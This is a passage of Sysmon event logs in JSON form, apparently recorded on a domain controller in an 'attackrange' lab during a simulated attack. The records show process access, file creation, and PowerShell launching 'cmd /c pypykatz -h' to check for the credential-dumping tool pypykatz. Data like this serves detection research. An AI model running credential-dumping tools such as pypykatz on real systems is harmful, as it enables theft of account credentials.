11:56:24.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.618\r\nProcessGuid: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nProcessId: 1168\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pbqnflvh.bj4.ps1\r\nCreationUtcTime: 2020-08-07 11:56:24.618","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.618","ProcessGuid":"{90617006-4168-5F2D-0000-0010F3CE0700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pbqnflvh.bj4.ps1","CreationUtcTime":"2020-08-07 11:56:24.618","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.650\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.650","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.650\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nTargetProcessId: 1168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.650","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","TargetProcessId":"1168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nProcessGuid: {90617006-4168-5F2D-0000-0010CBDA0700}\r\nProcessId: 4624\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c pypykatz -h\r\nCurrentDirectory: C:\\Users\\Administrator\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nParentProcessId: 1168\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","ProcessGuid":"{90617006-4168-5F2D-0000-0010CBDA0700}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c pypykatz -h","CurrentDirectory":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4168-5F2D-0000-0010F3CE0700}","ParentProcessId":"1168","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} ","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-4168-5F2D-0000-0010F3CE0700}\r\nSourceProcessId: 1168\r\nSourceThreadId: 1324\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010CBDA0700}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c992ed6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be52ce6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be361dc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be28161(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34694(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34230(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-4168-5F2D-0000-0010F3CE0700}","SourceProcessId":"1168","SourceThreadId":"1324","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010CBDA0700}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c992ed6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be52ce6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be361dc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be28161(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34694(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34230(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010CBDA0700}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4168-5F2D-0000-0010CBDA0700}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: 